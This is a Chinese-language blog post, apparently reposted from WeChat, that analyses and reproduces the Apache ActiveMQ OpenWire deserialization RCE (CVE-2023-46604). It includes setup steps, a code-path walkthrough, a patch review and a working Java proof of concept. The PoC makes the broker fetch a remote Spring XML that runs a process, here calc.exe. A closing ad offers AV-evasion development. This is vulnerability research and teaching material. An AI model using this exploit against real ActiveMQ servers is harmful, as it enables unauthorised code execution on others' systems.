漏洞分析与复现|Apache ActiveMQ RCE (CNVD-2023-69477)

admin 2023年11月14日18:06:50评论107 views字数 6289阅读20分57秒阅读模式

0x01 前言

漏洞通告

https://nvd.nist.gov/vuln/detail/CVE-2023-46604

漏洞描述

ActiveMQ对传入的TCP数据没有进行校验。攻击者可构造特殊数据流在服务端加载任意类,最终能直接执行任意命令。

漏洞分析与复现|Apache ActiveMQ RCE (CNVD-2023-69477)

影响版本

Apache ActiveMQ:

  • < 5.15.16
  • < 5.16.7
  • < 5.17.6
  • < 5.18.3

ActiveMQ简介 Apache ActiveMQ 是一个开源的消息中间件,实现了 Java Message Service (JMS) 规范。它是 Apache 软件基金会的项目之一,用于实现高性能、可扩展、松耦合的消息传递系统。在ActiveMQ中,生产者(Producer)发送消息到Queue或者Topic中,消费者(consumer)通过ActiveMQ支持的传输协议连接到ActiveMQ接受消息并做处理。

0x02 环境搭建

1.搭建ActiveMQ服务

在官网下载压缩包:
https://activemq.apache.org/download-archives

解压后进入bin目录,activemq start启动服务

漏洞分析与复现|Apache ActiveMQ RCE (CNVD-2023-69477)

访问http://127.0.0.1:8161/,默认用户名/密码为admin/admin,进入管理页面,搭建成功。

漏洞分析与复现|Apache ActiveMQ RCE (CNVD-2023-69477)

ActiveMQ 默认情况下使用了 OpenWire 协议,而 OpenWire 协议是基于二进制的,面向网络的协议,通常通过TCP进行通信,默认监听61616端口。

关于管理页面的介绍可参考:
https://blog.csdn.net/csdndys/article/details/130505328

2. 创建Demo

创建一个Spring Boot 项目,选择activemq依赖

漏洞分析与复现|Apache ActiveMQ RCE (CNVD-2023-69477)

或者手动添加,不过会有log4j冲突,比较麻烦。

<dependency>
    <groupId>org.apache.activemq</groupId>
    <artifactId>activemq-all</artifactId>
    <version>5.17.5</version>
</dependency>

或者新建空项目,添加如下依赖,比较靠谱。

<dependency>
    <groupId>org.apache.activemq</groupId>
    <artifactId>activemq-spring</artifactId>
    <version>5.18.2</version>
</dependency>

当前环境版本:

  • Spring Boot 版本:2.7.5
  • 对应ActiveMQ版本:5.16.5
  • JDK 11

resources目录下创建配置文件 lo4j.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE log4j:configuration SYSTEM "log4j.dtd">
<log4j:configuration xmlns:log4j="http://jakarta.apache.org/log4j/">
 
    <!-- Define the console appender -->
    <appender name="console" class="org.apache.log4j.ConsoleAppender">
        <param name="Target" value="System.out" />
        <layout class="org.apache.log4j.PatternLayout">
            <param name="ConversionPattern" value="%-5p %d{yyyy-MM-dd HH:mm:ss} [%t] %c{1} - %m%n" />
        </layout>
    </appender>
 
    <!-- Define the root logger with appender -->
    <root>
        <priority value="debug" />
        <appender-ref ref="console" />
    </root>
 
</log4j:configuration>

写一个与ActiveMQ服务器发送消息的Demo:

import org.apache.activemq.ActiveMQConnectionFactory;
 
import javax.jms.*;
 
public class ActiveMQDemo {
    public static void main(String[] args) {
        //连接 ActiveMQ服务器
        String url = "tcp://127.0.0.1:61616";
        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory(url);
        Connection connection =  null;
 
        try {
            connection = connectionFactory.createConnection();
            connection.start();
 
            //创建会话
            Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
            //创建队列
            Destination destination = session.createQueue("myQueue");
            //创建消息生产者
            MessageProducer producer = session.createProducer(destination);
            //创建消息
            ObjectMessage objectMessage = session.createObjectMessage("123");
//            TextMessage textMessage = session.createTextMessage("123");
            //发送消息
            producer.send(objectMessage);
            System.out.println("Message Sent: " + objectMessage.getObject());
 
            //创建消息消费者
            MessageConsumer consumer = session.createConsumer(destination);
            //接收消息
            Message receviedMessage = consumer.receive();
            if (receviedMessage instanceof ObjectMessage) {
                ObjectMessage message = (ObjectMessage) receviedMessage;
//                TextMessage message = (TextMessage) receviedMessage;
                System.out.println("Recevied message: " + message.getObject());
            }
 
            //关闭会话
            session.close();
        } catch (JMSException e) {
            throw new RuntimeException(e);
        } finally {
            if (connection != null) {
                try {
                    connection.close();
                } catch (JMSException e) {
                    e.printStackTrace();
                }
            }
        }
    }
}

运行,控制台可以看到信息输出,管理页面也有消息记录。

漏洞分析与复现|Apache ActiveMQ RCE (CNVD-2023-69477)

0x03 流程分析

BaseDataStreamMarshaller.createThrowable() 中,根据传入的的类名和消息,实例化并返回了一个 Throwable类型的对象。

搜索发现,在 tightUnmarsalThrowable()looseUnmarsalThrowable() 中都调用 createThrowable() 方法

漏洞分析与复现|Apache ActiveMQ RCE (CNVD-2023-69477)

再搜索,找到 ExceptionResponseMarshaller 中的 tightUnmarshal()looseUnmarshal() 方法分别调用了 tightUnmarsalThrowable()looseUnmarsalThrowable()

漏洞分析与复现|Apache ActiveMQ RCE (CNVD-2023-69477)

ExceptionResponseMarshaller 中的这两个方法是对 ExceptionResponse对象 进行序列化、反序列化操作,当处理ExceptionResponse类型消息是就会触发ExceptionResponseMarshaller中的方法。在ActiveMQ发送消息的时候,会先调用 OpenWireFormat.marshal() 进行序列化,这里会根据dataType的值来选择处理器的类型

漏洞分析与复现|Apache ActiveMQ RCE (CNVD-2023-69477)

而dataType的值是跟处理的消息类型有关,如果消息类型是 ExceptionResponse ,dataType则为31,那么调用的就是 ExceptionResponseMarshaller

漏洞分析与复现|Apache ActiveMQ RCE (CNVD-2023-69477)

然后在处理消息的时候会调用到 OpenWireFormat.doUnmarshal() 进行反序列化,这里原理和序列化时一样

漏洞分析与复现|Apache ActiveMQ RCE (CNVD-2023-69477)

所以目的就是要构造一个 ExceptionResponse类型 的消息

0x04 漏洞复现

new 一个 ExceptionResponse类型 对象,给它抛出一个 ClassPathXmlApplicationContext 使其从指定路径加载恶意代码;然后将 ExceptionResponse类型 消息发送给ActiveMQ服务器,即可触发。

public class ActiveMQDemo {
    public static void main(String[] args) throws Exception {
        ConnectionFactory connectionFactory = new
        ActiveMQConnectionFactory("tcp://localhost:61616");
 
        Connection connection = connectionFactory.createConnection();
        connection.start();
 
        ActiveMQSession session = (ActiveMQSession) connection.createSession();
 
        ExceptionResponse exceptionResponse = new ExceptionResponse();
        exceptionResponse.setException(new ClassPathXmlApplicationContext("http://127.0.0.1:8081/poc.xml"));
        session.syncSendPacket(exceptionResponse);
 
        connection.close();
    }
}

需要重新定义 org.springframework.context.support.ClassPathXmlApplicationContext,使其继承Throwable

package org.springframework.context.support;
 
public class ClassPathXmlApplicationContext extends Throwable{
    private String message;
 
    public ClassPathXmlApplicationContext(String message) {
        this.message = message;
    }
 
    @Override
    public String getMessage() {
        return message;
    }
}
漏洞分析与复现|Apache ActiveMQ RCE (CNVD-2023-69477)

poc.xml 内容是弹计算器

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="
 http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"
>
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg >
        <list>
            <value>calc.exe</value>
        </list>
        </constructor-arg>
    </bean>
</beans>
漏洞分析与复现|Apache ActiveMQ RCE (CNVD-2023-69477)

0x05 补丁分析

createThrowable() 方法中新增了 validateIsThrowable() 校验。validateIsThrowable() 的作用是判断获取到的类是否是Throwable的子类

漏洞分析与复现|Apache ActiveMQ RCE (CNVD-2023-69477)

0x06 结尾

承接红蓝对抗、安全众测、安全培训、CTF代打、CTF培训、PHP / JAVA / GO / Python 代码审计、渗透测试、应急响应、免杀开发 等等的安全项目,请联系下方微信。

漏洞分析与复现|Apache ActiveMQ RCE (CNVD-2023-69477)

原文始发于微信公众号(不懂安全的校长):漏洞分析与复现|Apache ActiveMQ RCE (CNVD-2023-69477)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月14日18:06:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞分析与复现|Apache ActiveMQ RCE (CNVD-2023-69477)http://cn-sec.com/archives/2205255.html

发表评论

匿名网友 填写信息